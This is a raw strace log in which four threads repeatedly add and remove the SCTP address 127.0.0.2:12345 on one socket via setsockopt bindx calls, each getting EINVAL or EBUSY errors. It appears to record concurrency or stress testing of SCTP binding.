[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
